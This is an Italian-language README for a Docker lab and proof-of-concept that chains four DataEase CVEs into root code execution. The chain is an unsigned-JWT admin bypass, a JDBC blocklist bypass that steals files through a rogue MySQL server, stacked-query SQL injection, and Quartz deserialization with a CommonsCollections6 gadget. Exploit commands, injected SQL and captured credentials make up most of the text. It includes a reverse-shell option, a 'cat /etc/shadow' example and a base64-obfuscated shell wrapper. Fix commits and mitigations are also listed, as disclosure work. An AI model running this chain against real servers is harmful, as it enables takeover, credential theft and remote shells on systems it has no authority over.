
Bypass dell'autenticazione → bypass della blocklist JDBC (lettura arbitraria di file) → iniezione SQL → deserializzazione Java in Quartz → esecuzione remota di codice come
root.Lab locale autonomo (Docker) + PoC funzionante. Corretto in DataEase v2.10.21.
DataEase è una popolare piattaforma open-source di BI / visualizzazione dati (Java / Spring Boot). Le versioni ≤ v2.10.20 sono vulnerabili a una catena di quattro problemi che, insieme, trasformano un'istanza DataEase raggiungibile dalla rete in un vettore di esecuzione remota di codice:
| # | CVE | Classe | Cosa ci consente di ottenere |
|---|---|---|---|
| 1 | CVE-2026-23958 | Bypass dell'autenticazione (CWE-287/CWE-347) | Agire come admin — nessuna firma valida necessaria |
| 2 | CVE-2026-40899 | Bypass della blocklist JDBC (CWE-20) | Lettura arbitraria di file → rubare le credenziali del DB backend |
| 3 | CVE-2026-40900 | Iniezione SQL / stacked queries (CWE-89) | Scrivere nel database di DataEase |
| 4 | CVE-2026-40901 | Deserializzazione Java (CWE-502) | RCE come root tramite il job store di Quartz |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
Tutto viene eseguito localmente in Docker. Nessun servizio esterno, nessun target su internet.
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
Per avviarlo:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (prefisso API /de2api)admin / DataEase@123456Requisiti sull'host: Docker, Python 3.8+ con cryptography
(pip install -r exploit/requirements.txt), e la CLI di Docker (usata per eseguire
ysoserial in un container usa-e-getta eclipse-temurin:8-jre per costruire il gadget).
DataEase autentica le richieste in un filtro servlet, TokenFilter
(sdk/common/.../auth/filter/TokenFilter.java). Legge il token e chiama
TokenUtils.validate(), che finisce in:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() non verifica mai la firma. Gli unici controlli sono: il token
è lungo ≥ 100 caratteri e contiene un claim uid intero. Quindi qualsiasi JWT che dichiari
"uid": 1 fa eseguire la richiesta come amministratore integrato (uid 1).
C'è un secondo filtro (CommunityTokenFilter) che in effetti verifica una firma
per l'header X-DE-TOKEN — ma solo in condizioni specifiche, e la
chiave di firma è o un segreto per-utente o, in una build community semplice, il MD5
della password predefinita hardcoded DataEase@123456
(SubstituleLoginConfig → dataease.default-pwd). Il percorso complementare share-link
(X-DE-LINK-TOKEN) è firmato con la chiave hardcoded
link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) e, prima della correzione, era anch'esso
decodificato senza verifica.
Effetto netto: un attaccante può creare un token da amministratore. de_common.py
contiene forge_jwt() che produce il token senza firma; il PoC supporta
anche il semplice login con le onnipresenti credenziali predefinite per ottenere un
X-DE-TOKEN pienamente valido per il resto della catena.
La correzione (commit 00c169caa) fa sì che TokenFilter cerchi il segreto reale per-risorsa
e chiami effettivamente verifier.verify(...).
Quando aggiungi un datasource MySQL, DataEase rifiuta un insieme di parametri JDBC
pericolosi. Questa blocklist risiede in un campo Lombok @Data:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
Poiché @Data genera automaticamente setIllegalParameters(...), Jackson lo
popola senza problemi da JSON controllato dall'attaccante. Inviare "illegalParameters": [] nel
blob configuration (codificato in Base64) svuota la blocklist prima che venga
controllata. Possiamo quindi puntare il datasource a un server MySQL rogue con
allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/
e leggere file arbitrari dall'host DataEase tramite il meccanismo LOCAL INFILE di MySQL.
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
Risultato — DataEase ci consegna le credenziali del proprio DB backend:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
Quelle credenziali sono ciò che un attaccante usa per puntare il passo 3 al database
di DataEase. La correzione (commit 16a950f96) aggiunge @JsonIgnore a ogni
campo illegalParameters in modo che non possa più essere impostato da JSON.
previewSqlPOST /de2api/datasetData/previewSql accetta una stringa SQL codificata in Base64 e,
senza alcuna validazione di singolo statement, la avvolge come sottoquery:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
I commenti vengono rimossi, ma possiamo bilanciare le parentesi e usare ; per eseguire
istruzioni extra. Poiché controlliamo il datasource, abilitiamo
allowMultiQueries=true (non presente nella blocklist in v2.10.20), quindi le
stacked queries vengono eseguite:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
che il server assembla in tre istruzioni reali. Puntando questo datasource
al database di DataEase (credenziali dal passo 2) possiamo scrivere nelle sue tabelle
Quartz. Correzioni: 15611593b aggiunge allowMultiQueries alla blocklist e
e89059d88 irrobustisce il flusso save/engine.
DataEase pianifica un job Quartz ricorrente di "controllo stato datasource":
deSyncJob, job Datasource / check_status, classe
io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (predefinito: ogni 6 minuti)Quartz usa un job store JDBC con useProperties=false, quindi la
JobDataMap di ogni job è memorizzata nella colonna QRTZ_JOB_DETAILS.JOB_DATA come
oggetto Java serializzato grezzo (puoi vederlo: il blob inizia con la
magia di serializzazione AC ED 00 05 … org.quartz.JobDataMap). Quando lo scheduler
cerca i trigger, in StdJDBCDelegate.selectJobDetail fa:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
DataEase include commons-collections-3.2.1.jar (e velocity-1.7.jar) —
classiche fonti di gadget per deserializzazione. Usando il passo 3 sovrascriviamo JOB_DATA
con un payload ysoserial CommonsCollections6 (e, nella stessa stacked
query, portiamo il NEXT_FIRE_TIME del trigger a adesso così da non aspettare la
cron di 6 minuti). Alla successiva scansione dello scheduler, readObject() attiva la catena di gadget
(LazyMap → InvokerTransformer → Runtime.exec) e il nostro comando viene eseguito — come
root, dentro il container. Il set di correzioni (e05bda764, …) rimuove la dipendenza vulnerabile
da Velocity e la raggiungibilità del sink.
Il PoC genera il gadget per te (wrapping del comando compatibile con busybox — la
shell di destinazione è Alpine ash e Runtime.exec non riceve una shell, quindi usiamo
sh -c echo${IFS}<b64>|base64${IFS}-d|sh).
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
Reimposta il job Quartz avvelenato tra le esecuzioni (opzionale):
exploit/reset_quartz.sh
admin (DataEase@123456).useProperties=true, applica un
filtro di deserializzazione JVM (-Djdk.serialFilter=…) e rimuovi
commons-collections:3.2.1 / velocity:1.7 dal classpath.Solo a scopo educativo e per test autorizzati. Il laboratorio ha come bersaglio un container che esegui tu stesso. Non utilizzare nulla di tutto ciò contro sistemi che non possiedi o per i quali non hai un'esplicita autorizzazione scritta al test.
00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764
(DataEase v2.10.20..v2.10.21)| Percorso | Scopo |
|---|
exploit/de_common.py | client HTTP: recupero RSA /dekey, login, contraffazione JWT, datasource + previewSql |
exploit/de_rce_chain.py | la RCE end-to-end: auth → SQLi → deserializzazione Quartz |
exploit/rogue_mysql.py | server MySQL rogue minimale (lettura file LOCAL INFILE) per CVE-2026-40899 |
exploit/file_read.py | esegue CVE-2026-40899 contro il server rogue |
exploit/reset_quartz.sh | ripristina un job Quartz pulito dopo un'esecuzione |